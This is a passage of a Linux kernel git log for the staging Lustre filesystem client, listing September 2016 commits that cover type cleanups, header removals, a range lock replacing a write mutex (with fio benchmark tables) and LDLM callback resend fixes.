Sun Sep 18 16:37:42 2016 -0400 staging: lustre: lmv: change type of lmv_obd->tgts_size to u32 tgts_size is used as unsigned. Signed-off-by: Dmitry Eremin Intel-bug-id: https://jira.hpdd.intel.com/browse/LU-5577 Reviewed-on: http://review.whamcloud.com/11881 Reviewed-by: Fan Yong Reviewed-by: John L. Hammond Reviewed-by: Oleg Drokin Signed-off-by: James Simmons Signed-off-by: Greg Kroah-Hartman drivers/staging/lustre/lustre/include/obd.h | 2 +- drivers/staging/lustre/lustre/lmv/lmv_obd.c | 4 ++-- 2 files changed, 3 insertions(+), 3 deletions(-) commit d0d3d221f16bcdbff54087c4ea25e6e1dd954e76 Author: Dmitry Eremin Date: Sun Sep 18 16:37:41 2016 -0400 staging: lustre: obd: change type of lmv_tgt_desc->ltd_idx to u32 ltd_idx is used as unsigned. Signed-off-by: Dmitry Eremin Intel-bug-id: https://jira.hpdd.intel.com/browse/LU-5577 Reviewed-on: http://review.whamcloud.com/11879 Reviewed-by: John L. Hammond Reviewed-by: Fan Yong Reviewed-by: Oleg Drokin Signed-off-by: James Simmons Signed-off-by: Greg Kroah-Hartman drivers/staging/lustre/lustre/include/obd.h | 2 +- drivers/staging/lustre/lustre/lmv/lmv_intent.c | 8 ++++---- drivers/staging/lustre/lustre/lmv/lmv_obd.c | 6 +++--- drivers/staging/lustre/lustre/lmv/lproc_lmv.c | 2 +- 4 files changed, 9 insertions(+), 9 deletions(-) commit 960a7e37f41e3f8bd3f974bef555991fe5cd3611 Author: John L. Hammond Date: Sun Sep 18 16:37:40 2016 -0400 staging: lustre: llite: don't call make_bad_inode() on an old inode In ll_iget() if ll_update_inode() fails then do not call make_bad_inode() on the inode since it may still be in use. Signed-off-by: John L. Hammond Intel-bug-id: https://jira.hpdd.intel.com/browse/LU-5468 Reviewed-on: http://review.whamcloud.com/11609 Reviewed-by: Lai Siyao Reviewed-by: Fan Yong Reviewed-by: Oleg Drokin Signed-off-by: James Simmons Signed-off-by: Greg Kroah-Hartman drivers/staging/lustre/lustre/llite/namei.c | 1 - 1 file changed, 1 deletion(-) commit b9d4b143de6146a80e64b8a82dc9705498170059 Author: John L. Hammond Date: Sun Sep 18 16:37:39 2016 -0400 staging: lustre: obd: rename LUSTRE_STRIPE_MAXBYTES Rename LUSTRE_STRIPE_MAXBYTES to LUSTRE_EXT3_STRIPE_MAXBYTES and correct the comment describing its use. Signed-off-by: John L. Hammond Intel-bug-id: https://jira.hpdd.intel.com/browse/LU-2675 Reviewed-on: http://review.whamcloud.com/11800 Reviewed-by: Andreas Dilger Reviewed-by: Bob Glossman Signed-off-by: James Simmons Signed-off-by: Greg Kroah-Hartman drivers/staging/lustre/lustre/include/obd.h | 8 +++++--- drivers/staging/lustre/lustre/lov/lov_ea.c | 6 +++--- drivers/staging/lustre/lustre/lov/lov_pack.c | 2 +- drivers/staging/lustre/lustre/obdecho/echo_client.c | 2 +- drivers/staging/lustre/lustre/osc/osc_request.c | 2 +- 5 files changed, 11 insertions(+), 9 deletions(-) commit f9acb591a1f502ae7c6b643c58a063b8fd233352 Author: John L. Hammond Date: Sun Sep 18 16:37:38 2016 -0400 staging: lustre: remove lustre_lite.h Move several definition only used in lustre/llite/ to lustre/llite/llite_internal.h. Remove lustre/include/{,linux/}lustre_lite.h and fixup the missing includes in other headers that this exposes. Signed-off-by: John L. Hammond Intel-bug-id: https://jira.hpdd.intel.com/browse/LU-2675 Reviewed-on: http://review.whamcloud.com/11501 Reviewed-by: Bob Glossman Reviewed-by: Andreas Dilger Signed-off-by: James Simmons Signed-off-by: Greg Kroah-Hartman .../lustre/lustre/include/linux/lustre_lite.h | 91 ---------------------- .../staging/lustre/lustre/include/lustre_eacl.h | 1 + .../staging/lustre/lustre/include/lustre_lite.h | 85 -------------------- .../staging/lustre/lustre/include/lustre_param.h | 3 + drivers/staging/lustre/lustre/llite/dcache.c | 1 - drivers/staging/lustre/lustre/llite/dir.c | 12 +-- drivers/staging/lustre/lustre/llite/file.c | 1 - drivers/staging/lustre/lustre/llite/glimpse.c | 1 - drivers/staging/lustre/lustre/llite/lcommon_cl.c | 1 - drivers/staging/lustre/lustre/llite/lcommon_misc.c | 1 - drivers/staging/lustre/lustre/llite/llite_close.c | 1 - .../staging/lustre/lustre/llite/llite_internal.h | 61 ++++++++++++++- drivers/staging/lustre/lustre/llite/llite_lib.c | 1 - drivers/staging/lustre/lustre/llite/llite_mmap.c | 1 - drivers/staging/lustre/lustre/llite/llite_nfs.c | 1 - drivers/staging/lustre/lustre/llite/lproc_llite.c | 1 - drivers/staging/lustre/lustre/llite/namei.c | 1 - drivers/staging/lustre/lustre/llite/rw.c | 1 - drivers/staging/lustre/lustre/llite/rw26.c | 1 - drivers/staging/lustre/lustre/llite/statahead.c | 13 +--- drivers/staging/lustre/lustre/llite/super25.c | 1 - drivers/staging/lustre/lustre/llite/symlink.c | 1 - drivers/staging/lustre/lustre/llite/vvp_dev.c | 1 - drivers/staging/lustre/lustre/llite/vvp_io.c | 1 - drivers/staging/lustre/lustre/llite/vvp_lock.c | 1 - drivers/staging/lustre/lustre/llite/vvp_object.c | 1 - drivers/staging/lustre/lustre/llite/vvp_page.c | 2 - drivers/staging/lustre/lustre/llite/vvp_req.c | 1 - drivers/staging/lustre/lustre/llite/xattr.c | 1 - drivers/staging/lustre/lustre/llite/xattr_cache.c | 1 - drivers/staging/lustre/lustre/lmv/lmv_obd.c | 2 - 31 files changed, 70 insertions(+), 222 deletions(-) commit 346dc1c8778f0715d023778a8e94397ac2328b74 Author: Patrick Farrell Date: Sun Sep 18 16:37:37 2016 -0400 staging: lustre: osc: debug to match extent to brw RPC Currently, it's difficult to match brw RPCs to objects and extents from client logs. This patch adds a D_RPCTRACE debug message giving the necessary information. Signed-off-by: Patrick Farrell Intel-bug-id: https://jira.hpdd.intel.com/browse/LU-5531 Reviewed-on: http://review.whamcloud.com/11548 Reviewed-by: Alexey Lyashkov Reviewed-by: Ann Koehler Reviewed-by: Ryan Haasken Reviewed-by: Jinshan Xiong Reviewed-by: Oleg Drokin Signed-off-by: James Simmons Signed-off-by: Greg Kroah-Hartman drivers/staging/lustre/lustre/osc/osc_request.c | 5 +++++ 1 file changed, 5 insertions(+) commit 0a1200991234f7004a10a2ecb0e63075e306c2a3 Author: John L. Hammond Date: Sun Sep 18 16:37:36 2016 -0400 staging: lustre: cleanup lustre_lib.h Remove some unused declarations from lustre_lib.h and move some others to more natural headers. Signed-off-by: John L. Hammond Intel-bug-id: https://jira.hpdd.intel.com/browse/LU-2675 Reviewed-on: http://review.whamcloud.com/11500 Reviewed-by: Andreas Dilger Reviewed-by: Bob Glossman Reviewed-by: Oleg Drokin Signed-off-by: James Simmons Signed-off-by: Greg Kroah-Hartman drivers/staging/lustre/lustre/include/lustre_lib.h | 36 ---------------------- drivers/staging/lustre/lustre/include/obd.h | 17 ++++++++++ drivers/staging/lustre/lustre/include/obd_class.h | 5 +++ 3 files changed, 22 insertions(+), 36 deletions(-) commit 5d9d0cb76cdbec99af87dcbac80c66d1702d1fe6 Author: John L. Hammond Date: Sun Sep 18 16:37:35 2016 -0400 staging: lustre: llite: no need to check dentry is NULL We are already touching dentry in CDEBUG macros so it will crash long before these checks. Since this is the case no need to do an additional check. Signed-off-by: John L. Hammond Intel-bug-id: https://jira.hpdd.intel.com/browse/LU-2675 Reviewed-on: http://review.whamcloud.com/10769 Reviewed-by: Yang Sheng Reviewed-by: Lai Siyao Reviewed-by: Oleg Drokin Signed-off-by: James Simmons Signed-off-by: Greg Kroah-Hartman drivers/staging/lustre/lustre/llite/namei.c | 8 ++++---- 1 file changed, 4 insertions(+), 4 deletions(-) commit 9329b697349f6b44b4936ac7499eaef02366554c Author: John L. Hammond Date: Sun Sep 18 16:37:34 2016 -0400 staging: lustre: llite: style cleanup for ll_mkdir Style cleanup to make the code readable. Signed-off-by: John L. Hammond Intel-bug-id: https://jira.hpdd.intel.com/browse/LU-2675 Reviewed-on: http://review.whamcloud.com/10769 Reviewed-by: Yang Sheng Reviewed-by: Lai Siyao Reviewed-by: Oleg Drokin Signed-off-by: James Simmons Signed-off-by: Greg Kroah-Hartman drivers/staging/lustre/lustre/llite/namei.c | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) commit cad89e561320b6f5c8ca05a490729754e09a3597 Author: John L. Hammond Date: Sun Sep 18 16:37:33 2016 -0400 staging: lustre: llite: turn mode to umode_t for ll_new_inode() Change int mode to umode_t. Signed-off-by: John L. Hammond Intel-bug-id: https://jira.hpdd.intel.com/browse/LU-2675 Reviewed-on: http://review.whamcloud.com/10769 Reviewed-by: Yang Sheng Reviewed-by: Lai Siyao Reviewed-by: Oleg Drokin Signed-off-by: James Simmons Signed-off-by: Greg Kroah-Hartman drivers/staging/lustre/lustre/llite/namei.c | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) commit 9c1c204fb3c7969f07cdbbed8e3bb2595e7a49c9 Author: John L. Hammond Date: Sun Sep 18 16:37:32 2016 -0400 staging: lustre: llite: remove mode from ll_create_it() Remove the unused mode parameter from ll_create_it(). Signed-off-by: John L. Hammond Intel-bug-id: https://jira.hpdd.intel.com/browse/LU-2675 Reviewed-on: http://review.whamcloud.com/10769 Reviewed-by: Yang Sheng Reviewed-by: Lai Siyao Reviewed-by: Oleg Drokin Signed-off-by: James Simmons Signed-off-by: Greg Kroah-Hartman drivers/staging/lustre/lustre/llite/namei.c | 8 ++++---- 1 file changed, 4 insertions(+), 4 deletions(-) commit 9b496412f82352bfc78796e9d2a4b3a6a9104dc5 Author: John L. Hammond Date: Sun Sep 18 16:37:31 2016 -0400 staging: lustre: llite: remove lookup_flags from ll_lookup_it() Remove the effectively unused lookup_flags parameter from ll_lookup_it(). Signed-off-by: John L. Hammond Intel-bug-id: https://jira.hpdd.intel.com/browse/LU-2675 Reviewed-on: http://review.whamcloud.com/10769 Reviewed-by: Yang Sheng Reviewed-by: Lai Siyao Reviewed-by: Oleg Drokin Signed-off-by: James Simmons Signed-off-by: Greg Kroah-Hartman drivers/staging/lustre/lustre/llite/namei.c | 14 +++++--------- 1 file changed, 5 insertions(+), 9 deletions(-) commit 5d770fe899bdff805fe174a9a0c946c3072b315e Author: Prakash Surya Date: Sun Sep 18 16:37:30 2016 -0400 staging: lustre: vvp: Use lockless __generic_file_aio_write Testing multi-threaded single shard file write performance has shown the inode mutex to be a limiting factor when using the generic_file_write_iter function. To work around this bottle neck, this change replaces the locked version of that call with the lock less version, specifically, __generic_file_write_iter. In order to maintain posix consistency, Lustre must now employ it's own locking mechanism in the higher layers. Currently writes are protected using the lli_write_mutex in the ll_inode_info structure. To protect against simultaneous write and truncate operations, since we no longer take the inode mutex during writes, we must down the lli_trunc_sem semaphore. Unfortunately, this change by itself does not garner any performance benefits. Using FIO on a single machine with 32 GB of RAM, write performance tests were ran with and without this change applied; the results are below: +---------+-----------+---------+--------+--------+ | fio v2.0.13 | Write Bandwidth (KB/s) | +---------+-----------+---------+--------+--------+ | # Tasks | GB / Task | Test 1 | Test 2 | Test 3 | +---------+-----------+---------+--------+--------+ | 1 | 64 | 452446 | 454623 | 457653 | | 2 | 32 | 850318 | 565373 | 602498 | | 4 | 16 | 1058900 | 463546 | 529107 | | 8 | 8 | 1026300 | 468190 | 576451 | | 16 | 4 | 1065500 | 503160 | 462902 | | 32 | 2 | 1068600 | 462228 | 466963 | | 64 | 1 | 991830 | 556618 | 557863 | +---------+-----------+---------+--------+--------+ * Test 1: Lustre client running 04ec54f. File per process write workload. This test was used as a baseline for what we _could_ achieve in the single shared file tests if the bottle necks were removed. * Test 2: Lustre client running 04ec54f. Single shared file workload, each task writing to a unique region. * Test 3: Lustre client running 04ec54f + this patch. Single shared file workload, each task writing to a unique region. In order to garner any real performance benefits out of a single shared file workload, the lli_write_mutex needs to be broken up into a range lock. That would allow write operations to unique regions of a file to be executed concurrently. This work is left to be done in a follow up patch. Signed-off-by: Prakash Surya Intel-bug-id: https://jira.hpdd.intel.com/browse/LU-1669 Reviewed-on: http://review.whamcloud.com/6672 Reviewed-by: Lai Siyao Reviewed-by: Andreas Dilger Reviewed-by: Jinshan Xiong Reviewed-by: Oleg Drokin Signed-off-by: James Simmons Signed-off-by: Greg Kroah-Hartman drivers/staging/lustre/lustre/llite/rw26.c | 9 -------- drivers/staging/lustre/lustre/llite/vvp_io.c | 26 +++++++++++++++++++++--- drivers/staging/lustre/lustre/llite/vvp_page.c | 16 --------------- drivers/staging/lustre/lustre/obdclass/cl_page.c | 6 ------ 4 files changed, 23 insertions(+), 34 deletions(-) commit 5b8a39c53a16c992fe0d99cd21c141153ea3774b Author: Prakash Surya Date: Sun Sep 18 16:37:29 2016 -0400 staging: lustre: llite: Replace write mutex with range lock Testing has shown the ll_inode_inode's lli_write_mutex to be a limiting factor with single shared file write performance, when using many writing threads on a single machine. Even if each thread is writing to a unique portion of the file, the lli_write_mutex will prevent no more than a single thread to ever write to the file simultaneously. This change attempts to remove this bottle neck, by replacing this mutex with a range lock. This should allow multiple threads to write to a single file simultaneously iff the threads are writing to unique regions of the file. Performance testing shows this change to garner a significant performance boost to write bandwidth. Using FIO on a single machine with 32 GB of RAM, write performance tests were run with and without this change applied; the results are below: +---------+-----------+---------+--------+--------+--------+ | fio v2.0.13 | Write Bandwidth (KB/s) | +---------+-----------+---------+--------+--------+--------+ | # Tasks | GB / Task | Test 1 | Test 2 | Test 3 | Test 4 | +---------+-----------+---------+--------+--------+--------+ | 1 | 64 | 452446 | 454623 | 457653 | 463737 | | 2 | 32 | 850318 | 565373 | 602498 | 733027 | | 4 | 16 | 1058900 | 463546 | 529107 | 976284 | | 8 | 8 | 1026300 | 468190 | 576451 | 963404 | | 16 | 4 | 1065500 | 503160 | 462902 | 830065 | | 32 | 2 | 1068600 | 462228 | 466963 | 749733 | | 64 | 1 | 991830 | 556618 | 557863 | 710912 | +---------+-----------+---------+--------+--------+--------+ * Test 1: Lustre client running 04ec54f. File per process write workload. This test was used as a baseline for what we _could_ achieve in the single shared file tests if the bottle necks were removed. * Test 2: Lustre client running 04ec54f. Single shared file workload, each task writing to a unique region. * Test 3: Lustre client running 04ec54f + I0023132b. Single shared file workload, each task writing to a unique region. * Test 4: Lustre client running 04ec54f + this patch. Single shared file workload, each task writing to a unique region. Direct IO does not use the page cache like normal IO, so concurrent direct IO reads of the same pages are not safe. As a result, direct IO reads must take the range lock in ll_file_io_generic, otherwise they will attempt to work on the same pages and hit assertions like: (osc_request.c:1219:osc_brw_prep_request()) ASSERTION( i == 0 || pg->off > pg_prev->off ) failed: i 3 p_c 10 pg ffffea00017a5208 [pri 0 ind 2771] off 16384 prev_pg ffffea00017a51d0 [pri 0 ind 2256] off 16384 Signed-off-by: Prakash Surya Signed-off-by: Patrick Farrell Signed-off-by: Jinshan Xiong Intel-bug-id: https://jira.hpdd.intel.com/browse/LU-1669 Reviewed-on: http://review.whamcloud.com/6320 Intel-bug-id: https://jira.hpdd.intel.com/browse/LU-6227 Reviewed-on: http://review.whamcloud.com/14385 Reviewed-by: Bobi Jam Reviewed-by: Alexander Boyko Reviewed-by: Hiroya Nozaki Reviewed-by: Andreas Dilger Reviewed-by: Oleg Drokin Signed-off-by: James Simmons Signed-off-by: Greg Kroah-Hartman drivers/staging/lustre/lustre/llite/Makefile | 2 +- drivers/staging/lustre/lustre/llite/file.c | 37 +++- .../staging/lustre/lustre/llite/llite_internal.h | 5 +- drivers/staging/lustre/lustre/llite/llite_lib.c | 2 +- drivers/staging/lustre/lustre/llite/range_lock.c | 233 +++++++++++++++++++++ drivers/staging/lustre/lustre/llite/range_lock.h | 82 ++++++++ 6 files changed, 348 insertions(+), 13 deletions(-) commit 7a742d08a46de9bfb7d89b31af1fd40e9e03134c Author: James Simmons Date: Sun Sep 18 16:37:28 2016 -0400 staging: lustre: ldlm: restore some of the interval functionality Earlier a bunch of interval handling got removed since it wasn't used by the upstream client. Now some of it is needed again for the client code so this patch restores what is needed. Signed-off-by: James Simmons Signed-off-by: Greg Kroah-Hartman .../staging/lustre/lustre/include/interval_tree.h | 26 ++++++ drivers/staging/lustre/lustre/ldlm/interval_tree.c | 100 ++++++++++++++++++++- 2 files changed, 125 insertions(+), 1 deletion(-) commit 9b00e00b7d851b51f3105eeb89e88ecd297ae5cf Author: Vitaly Fertman Date: Sun Sep 18 16:37:27 2016 -0400 staging: lustre: ldlm: resend AST callbacks While clients will resend client->server RPCs, servers would not resend server->client RPCs such as LDLM callbacks (blocking or completion callbacks/ASTs). This could result in clients being evicted from the server if blocking callbacks were dropped by the network (a failed router or lossy network) and the client did not cancel the requested lock in time. In order to fix this problem, this patch adds the ability to resend LDLM callbacks from the server and give the client a chance to respond within the timeout period before it is evicted: - resend BL AST within lock callback timeout period; - still do not resend CANCEL_ON_BLOCK; - regular resend for CP AST without BL AST embedded; - prolong lock callback timeout on resend; some fixes: - recovery-small test_10 to actually evict the client with dropped BL AST; - ETIMEDOUT to be returned if send limit is expired; Signed-off-by: Vitaly Fertman Intel-bug-id: https://jira.hpdd.intel.com/browse/LU-5520 Reviewed-by: Alexey Lyashkov Reviewed-by: Andriy Skulysh Xyratex-bug-id: MRP-417 Reviewed-on: http://review.whamcloud.com/9335 Reviewed-by: Andreas Dilger Reviewed-by: Johann Lombardi Reviewed-by: Oleg Drokin Signed-off-by: James Simmons Signed-off-by: Greg Kroah-Hartman drivers/staging/lustre/lustre/mdc/mdc_reint.c | 9 +++------ drivers/staging/lustre/lustre/ptlrpc/client.c | 4 ++-- 2 files changed, 5 insertions(+), 8 deletions(-) commit f06d65a1587a7f16ec191dc81ab94dc3b9c19e6f Author: Vitaly Fertman Date: Sun Sep 18 16:37:26 2016 -0400 staging: lustre: ldlm: reconstruct proper flags on enqueue resend otherwise, waiting lock may get granted as no BLOCKED_GRANTED flag is returned Signed-off-by: Vitaly Fertman Xyratex-bug-id: MRP-1944 Intel-bug-id: https://jira.hpdd.intel.com/browse/LU-5496 Reviewed-on: http://review.whamcloud.com/11644 Reviewed-by: James Simmons Reviewed-by: Oleg Drokin Signed-off-by: James Simmons Signed-off-by: Greg Kroah-Hartman drivers/staging/lustre/lustre/ldlm/ldlm_flock.c | 3 +-- drivers/staging/lustre/lustre/ldlm/ldlm_lock.c | 3 +-- drivers/staging/lustre/lustre/ldlm/ldlm_request.c | 6 ++---- 3 files changed, 4 insertions(+), 8 deletions(-) commit e9792be1e4b12616e2097bcd7e74b121081051d4 Author: Lai Siyao Date: Sun Sep 18 16:37:25 2016 -0400 staging: lustre: statahead: statahead thread wait for RPCs to finish Statahead thread should wait for inflight stat RPCs to finish in case statahead RPC callback may access data allocated in statahead thread context. ll_sa_entry_fini() should keep old entry if stat RPC is not finished yet. Simplify sai refcounting: * newly allocated sai will hold one refcount, and it will put it after starting statahead thread. * statahead thread holds one refcount. * agl thread holds one refcount. * stat process calls do_statahead_enter() which will try to get sai, and if it's valid, it will revalidate from statahead cache, and put refcount after use. Signed-off-by: Lai Siyao Intel-bug-id: https://jira.hpdd.intel.com/browse/LU-3270 Reviewed-on: http://review.whamcloud.com/9663 Reviewed-by: Fan Yong Reviewed-by: James Simmons Reviewed-by: Oleg Drokin Signed-off-by: James Simmons Signed-off-by: Greg Kroah-Hartman drivers/staging/lustre/lustre/include/obd.h | 1 - drivers/staging/lustre/lustre/llite/dcache.c | 2 +- drivers/staging/lustre/lustre/llite/file.c | 31 +- .../staging/lustre/lustre/llite/llite_internal.h | 49 +- drivers/staging/lustre/lustre/llite/llite_lib.c | 8 + drivers/staging/lustre/lustre/llite/statahead.c | 849 +++++++++------------ 6 files changed, 434 insertions(+), 506 deletions(-) commit d38a48e5b8cf0a186789c0b80a5e771672e141ea Author: Dmitry Eremin Date: Sun Sep 18 16:37:24 2016 -0400 staging: lustre: llite: Compare of unsigned value against 0 is always true Comparison of unsigned value against 0 is always true. Signed-off-by: Dmitry Eremin Intel-bug-id: https://jira.hpdd.intel.com/browse/LU-5200 Reviewed-on: http://review.whamcloud.com/11217 Reviewed-by: John L. Hammond Reviewed-by: Fan Yong Reviewed-by: Oleg Drokin Signed-off-by: James Simmons Signed-off-by: Greg Kroah-Hartman drivers/staging/lustre/lustre/llite/lproc_llite.c | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) commit bc3877b08b62adc9a218d67d6d8434195f789434 Author: John L. Hammond Date: Sun Sep 18 16:37:23 2016 -0400 staging: lustre: remove RCU2HANDLE macro Remove RCU2HANDLE macro from lustre_handles.h. Signed-off-by: John L. Hammond Intel-bug-id: https://jira.hpdd.intel.com/browse/LU-2675 Reviewed-on: http://review.whamcloud.com/11498 Reviewed-by: Andreas Dilger Reviewed-by: Bob Glossman Signed-off-by: James Simmons Signed-off-by: Greg Kroah-Hartman drivers/staging/lustre/lustre/include/lustre_handles.h | 2 -- drivers/staging/lustre/lustre/obdclass/lustre_handles.c | 7 +++++-- 2 files changed, 5 insertions(+), 4 deletions(-) commit 83d36347ad4bc930e4deefeccdc63b9032b53e99 Author: Henri Doreau Date: Sun Sep 18 16:37:22 2016 -0400 staging: lustre: mdc: Report D_CHANGELOG messages as D_HSM Removed the D_CHANGELOG pseudo-debug flag that wasn't actually defined as a usable one. Report the D_CHANGELOG messages as D_HSM ones instead since this is the primary user of these messages. Signed-off-by: Henri Doreau Intel-bug-id: https://jira.hpdd.intel.com/browse/LU-5538 Reviewed-on: http://review.whamcloud.com/11558 Reviewed-by: Andreas Dilger Reviewed-by: James Nunez Signed-off-by: James Simmons Signed-off-by: Greg Kroah-Hartman drivers/staging/lustre/lustre/mdc/mdc_request.c | 12 +++++------- 1 file changed, 5 insertions(+), 7 deletions(-) commit 460554c3587ae0e0ff82f175f926eecbb225ee41 Author: Li Xi Date: Sun Sep 18 16:37:21 2016 -0400 staging: lustre: llog: add newly opened llog at tail of handle list Add newly opened llog handle at the tail of handle list to increase lookup speed, especially for cancel operation, because the canceled log will be removed from the list, and lookup is from the beginning. Signed-off-by: Lai Siyao Signed-off-by: Li Xi Intel-bug-id: https://jira.hpdd.intel.com/browse/LU-5405 Reviewed-on: http://review.whamcloud.com/11575 Reviewed-by: Ian Costello Reviewed-by: Mike Pershin Reviewed-by: Oleg Drokin Signed-off-by: James Simmons Signed-off-by: Greg Kroah-Hartman drivers/staging/lustre/lustre/obdclass/llog_cat.c | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) commit 743d6febbc68399a30a4f676b964c487cd435c72 Author: Andreas Dilger Date: Sun Sep 18 16:37:20 2016 -0400 staging: lustre: build: bump build version warnings to x.y.53 Move the LUSTRE_VERSION_CODE checks to trigger on x.y.53 instead of x.y.50, so that it is into the development cycle that they are hit instead of right at the start. In many cases, the #warning has been removed (to prevent build errors) and instead the code is just disabled outright. The dead code can be seen easily and removed in the future with less interruption to the development process. Signed-off-by: Andreas Dilger Signed-off-by: Emoly Liu Intel-bug-id: https://jira.hpdd.intel.com/browse/LU-4217 Reviewed-on: http://review.whamcloud.com/8630 Reviewed-by: Oleg Drokin Tested-by: Oleg Drokin Signed-off-by: James Simmons Signed-off-by: Greg Kroah-Hartman drivers/staging/lustre/lustre/include/lustre_import.h | 2 ++ drivers/staging/lustre/lustre/include/obd.h | 2 +- drivers/staging/lustre/lustre/mgc/mgc_request.c | 4 +--- drivers/staging/lustre/lustre/obdclass/obd_mount.c | 4 +--- drivers/staging/lustre/lustre/ptlrpc/import.c | 4 +--- 5 files changed, 6 insertions(+), 10 deletions(-) commit 426245a44d6dc03a7e32c8836eb334e32e6d12ee Author: John L. Hammond Date: Sun Sep 18 16:37:19 2016 -0400 staging: lustre: lmv: release request in lmv_revalidate_slaves() In lmv_revalidate_slaves() ensure that the request returned by md_intent_lock() is properly released on all paths. Signed-off-by: John L. Hammond Intel-bug-id: https://jira.hpdd.intel.com/browse/LU-5452 Reviewed-on: http://review.whamcloud.com/11326 Reviewed-by: wang di Reviewed-by: Lai Siyao Reviewed-by: Oleg Drokin Signed-off-by: James Simmons Signed-off-by: Greg Kroah-Hartman drivers/staging/lustre/lustre/lmv/lmv_intent.c | 16 +++++++++------- 1 file changed, 9 insertions(+), 7 deletions(-) commit 9e2c96eb8b84be1d4d783426aa0cf055c69896fe Author: Wang Shilong Date: Sun Sep 18 16:37:18 2016 -0400 staging: lustre: ptlrpc: fix magic return value of ptlrpc_init_portals Previously, when running 'modprobe lustre', it hit the following error message which is becaue of network initialisation failure: modprobe: ERROR: could not insert 'lustre': Input/output error However, error code is there, just let it return to caller, after this patch, error message will be something like: modprobe: ERROR: could not insert 'lustre': Network is down Signed-off-by: Wang Shilong Intel-bug-id: https://jira.hpdd.intel.com/browse/LU-5455 Reviewed-on: http://review.whamcloud.com/11337 Reviewed-by: Dmitry Eremin Reviewed-by: James Simmons Reviewed-by: John L. Hammond Reviewed-by: Oleg Drokin Signed-off-by: James Simmons Signed-off-by: Greg Kroah-Hartman drivers/staging/lustre/lustre/ptlrpc/events.c | 6 +++--- 1 file changed, 3 insertions(+), 3 deletions(-) commit 691f8bfd1db0f9528cae76f52676722251720b7d Author: Dmitry Eremin Date: Sun Sep 18 16:37:17 2016 -0400 staging: lustre: obdclass: fix comparison between signed and unsigned Make lu_buf->lb_len unsigned. Signed-off-by: Dmitry Eremin Intel-bug-id: https://jira.hpdd.intel.com/browse/LU-5417 Reviewed-on: http://review.whamcloud.com/11281 Reviewed-by: Fan Yong Reviewed-by: John L. Hammond Reviewed-by: Oleg Drokin Signed-off-by: James Simmons Signed-off-by: Greg Kroah-Hartman drivers/staging/lustre/lustre/include/lu_object.h | 2 +- drivers/staging/lustre/lustre/obdclass/lu_object.c | 16 ++++++++-------- 2 files changed, 9 insertions(+), 9 deletions(-) commit 3dd282c4bdf4bdac1b010c19088ea0c565b6d79f Author: Jinshan Xiong Date: Sun Sep 18 16:37:16 2016 -0400 staging: lustre: lov: adjust page bufsize after layout change Otherwise, the coh_page_bufsize keeps increasing when the file's layout keeps changing in lov_init_raid0(). Signed-off-by: Jinshan Xiong Intel-bug-id: https://jira.hpdd.intel.com/browse/LU-5459 Reviewed-on: http://review.whamcloud.com/11394 Reviewed-by: frank zago Reviewed-by: Bobi Jam Reviewed-by: John L. Hammond Reviewed-by: Oleg Drokin Signed-off-by: James Simmons Signed-off-by: Greg Kroah-Hartman drivers/staging/lustre/lustre/lov/lov_object.c | 8 ++++++++ 1 file changed, 8 insertions(+) commit 97cba1302d8994b9a573b6274133475e85ef7630 Author: Dmitry Eremin Date: Sun Sep 18 16:37:15 2016 -0400 staging: lustre: fix comparison between signed and unsigned Cleanup in general headers. * use size_t in cfs_size_round*() * make unsigned index and len in lustre_cfg_*() * make iteration variable the same type as comparing value * make unsigned pages counters Signed-off-by: Dmitry Eremin Intel-bug-id: https://jira.hpdd.intel.com/browse/LU-5417 Reviewed-on: http://review.whamcloud.com/11327 Reviewed-by: John L. Hammond Reviewed-by: Fan Yong Reviewed-by: Oleg Drokin Signed-off-by: James Simmons Signed-off-by: Greg Kroah-Hartman .../lustre/include/linux/libcfs/libcfs_private.h | 12 +++++----- .../staging/lustre/lustre/include/lprocfs_status.h | 2 +- drivers/staging/lustre/lustre/include/lustre_cfg.h | 26 ++++++++++------------ drivers/staging/lustre/lustre/include/lustre_lmv.h | 4 ++-- drivers/staging/lustre/lustre/include/lustre_net.h | 10 +++++---- drivers/staging/lustre/lustre/include/obd.h | 20 ++++++++--------- drivers/staging/lustre/lustre/osc/osc_request.c | 9 ++++---- .../staging/lustre/lustre/ptlrpc/pack_generic.c | 4 ++-- 8 files changed, 44 insertions(+), 43 deletions(-) commit 058a6a4203fa31a4cfd7172e8d578310c6bafb95 Author: Bobi Jam Date: Sun Sep 18 16:37:14 2016 -0400 staging: lustre: clio: lu_ref_del() mismatch ref add scope 'commit 77605e41a26f ("staging/lustre/clio: add pages into writeback cache in batches")' adds a page to a list aggregate issuing them to writeback cache; A page add is referenced in llite/vvp io scope, while writeback cache commit de-refers it under osc sub io scope, and enabling -lu_ref will detect this scope mismatch. Signed-off-by: Bobi Jam Intel-bug-id: https://jira.hpdd.intel.com/browse/LU-4503 Reviewed-on: http://review.whamcloud.com/8970 Reviewed-by: frank zago Reviewed-by: Jinshan Xiong Reviewed-by: Oleg Drokin Signed-off-by: James Simmons Signed-off-by: Greg Kroah-Hartman drivers/staging/lustre/lustre/llite/vvp_io.c | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) commit 620f086d9ae2e4b47c67ac05b76153dfc30d0b1f Author: John L. Hammond Date: Sun Sep 18 16:37:13 2016 -0400 staging: lustre: lmv: release locks if lmv_intent_lock() fails In lmv_intent_lock() if we will return an error then first release any locks referenced by the intent. Signed-off-by: John L. Hammond Intel-bug-id: https://jira.hpdd.intel.com/browse/LU-5431 Reviewed-on: http://review.whamcloud.com/11319 Reviewed-by: wang di Reviewed-by: Lai Siyao Reviewed-by: Oleg Drokin Signed-off-by: James Simmons Signed-off-by: Greg Kroah-Hartman drivers/staging/lustre/lustre/lmv/lmv_intent.c | 22 ++++++++++++++++++++++ 1 file changed, 22 insertions(+) commit 60deafeae486f8e6b1b4cc781214521e615c9459 Author: Niu Yawei Date: Sun Sep 18 16:37:12 2016 -0400 staging: lustre: osc: update kms in brw_interpret() properly In brw_interpret(), we forgot page offset when calculating write offset, that leads to wrong kms for sync write. Signed-off-by: Niu Yawei Intel-bug-id: https://jira.hpdd.intel.com/browse/LU-5463 Reviewed-on: http://review.whamcloud.com/11374 Reviewed-by: Bobi Jam Reviewed-by: Jinshan Xiong Reviewed-by: Li Dongyang Reviewed-by: Oleg Drokin Signed-off-by: James Simmons Signed-off-by: Greg Kroah-Hartman drivers/staging/lustre/lustre/osc/osc_request.c | 3 ++- 1 file changed, 2 insertions(+), 1 deletion(-) commit 